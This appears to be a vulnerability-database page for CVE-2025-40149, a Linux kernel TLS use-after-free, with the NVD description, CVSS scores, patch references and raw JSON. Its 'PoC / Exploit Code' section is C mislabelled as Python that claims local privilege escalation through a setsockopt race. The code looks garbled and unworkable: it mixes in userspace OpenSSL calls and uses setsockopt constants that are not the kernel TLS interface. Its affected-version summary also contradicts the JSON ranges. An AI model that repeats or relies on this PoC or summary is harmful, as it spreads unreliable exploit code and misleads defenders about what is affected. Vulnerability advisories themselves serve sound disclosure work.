Security Vulnerability Report
中文
CVE-2025-40149 CVSS 7.8 HIGH

CVE-2025-40149

Published: 2025-11-12 11:15:45
Last Modified: 2026-02-26 15:51:46
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: tls: Use __sk_dst_get() and dst_dev_rcu() in get_netdev_for_sock(). get_netdev_for_sock() is called during setsockopt(), so not under RCU. Using sk_dst_get(sk)->dev could trigger UAF. Let's use __sk_dst_get() and dst_dev_rcu(). Note that the only ->ndo_sk_get_lower_dev() user is bond_sk_get_lower_dev(), which uses RCU.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 5.15 (specific commits needed)
Linux Kernel 5.15.x - 6.6.x (unpatched)
Affected commits: 13159c7125636371543a82cb7bbae00ab36730cc
Affected commits: 2b1bef126bbb8d0da51491357559126d567c1dee
Affected commits: c65f27b9c3be2269918e1cbad6d8884741f835c5
Affected commits: e37ca0092ddace60833790b4ad7a390408fb1be9
Affected commits: f09cd209359a23f88d4f3fa3d2379d057027e53c

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-40149 PoC - Local Privilege Escalation via TLS setsockopt UAF // This is a conceptual PoC demonstrating the vulnerability trigger condition // Compile: gcc -o cve202540149_poc cve202540149_poc.c -lssl -lcrypto #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <openssl/ssl.h> #include <openssl/err.h> #define TLS_VERSION TLS1_2_VERSION int main() { int sock_fd; SSL_CTX *ctx; SSL *ssl; struct sockaddr_in server_addr; printf("[*] CVE-2025-40149 PoC - TLS get_netdev_for_sock UAF\n"); printf("[*] Target: Linux Kernel TLS subsystem\n"); // Initialize OpenSSL SSL_library_init(); SSL_load_error_strings(); OpenSSL_add_all_algorithms(); // Create SSL context ctx = SSL_CTX_new(TLS_client_method()); if (!ctx) { fprintf(stderr, "[-] Failed to create SSL context\n"); return 1; } // Create socket sock_fd = socket(AF_INET, SOCK_STREAM, 0); if (sock_fd < 0) { perror("[-] socket failed"); return 1; } // Setup connection memset(&server_addr, 0, sizeof(server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_port = htons(443); inet_pton(AF_INET, "127.0.0.1", &server_addr.sin_addr); // Connect to server if (connect(sock_fd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) { printf("[*] Connection not required for trigger\n"); } // Create SSL object and associate with socket ssl = SSL_new(ctx); SSL_set_fd(ssl, sock_fd); // Trigger vulnerability: Call setsockopt with TLS options // This will invoke get_netdev_for_sock() outside RCU protection int optval = 1; socklen_t optlen = sizeof(optval); printf("[*] Triggering setsockopt() with TLS cipher settings...\n"); // Race condition trigger via repeated setsockopt calls pid_t pid = fork(); if (pid == 0) { // Child process: Rapidly close/reopen socket for (int i = 0; i < 1000; i++) { close(sock_fd); sock_fd = socket(AF_INET, SOCK_STREAM, 0); usleep(100); } exit(0); } else { // Parent process: Call setsockopt repeatedly for (int i = 0; i < 1000; i++) { setsockopt(sock_fd, IPPROTO_TLS, TLS_CIPHER_PARAMS, &optval, optlen); } wait(NULL); } printf("[!] If kernel is vulnerable, may cause crash or privilege escalation\n"); // Cleanup SSL_shutdown(ssl); SSL_free(ssl); SSL_CTX_free(ctx); close(sock_fd); return 0; } /* Vulnerability Trigger Analysis: 1. The vulnerability exists in get_netdev_for_sock() called during setsockopt() 2. setsockopt() execution path is NOT under RCU protection 3. sk_dst_get(sk)->dev access can trigger UAF when dst_entry is freed 4. Race condition between setsockopt and socket closure 5. Successful exploitation requires winning the race condition */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-40149", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-11-12T11:15:44.817", "lastModified": "2026-02-26T15:51:45.843", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ntls: Use __sk_dst_get() and dst_dev_rcu() in get_netdev_for_sock().\n\nget_netdev_for_sock() is called during setsockopt(),\nso not under RCU.\n\nUsing sk_dst_get(sk)->dev could trigger UAF.\n\nLet's use __sk_dst_get() and dst_dev_rcu().\n\nNote that the only ->ndo_sk_get_lower_dev() user is\nbond_sk_get_lower_dev(), which uses RCU."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.18", "versionEndExcluding": "5.15.199", "matchCriteriaId": "312A3393-F2B5-4A95-B998-B763A195F2DB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.161", "matchCriteriaId": "E135B7E2-61FC-4DC1-8570-ABD67894FFDE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.121", "matchCriteriaId": "BB7A164B-7422-4A1C-82FB-5FCAEE53C06C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.66", "matchCriteriaId": "F72B884C-B44F-40E4-9895-CE421AC663D0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.17.3", "matchCriteriaId": "F55A160F-1578-4C10-ABCB-F90B7E146ED8"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/13159c7125636371543a82cb7bbae00ab36730cc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/2b1bef126bbb8d0da51491357559126d567c1dee", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c65f27b9c3be2269918e1cbad6d8884741f835c5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e37ca0092ddace60833790b4ad7a390408fb1be9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f09cd209359a23f88d4f3fa3d2379d057027e53c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/feb474ddbf26b51f462ae2e60a12013bdcfc5407", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}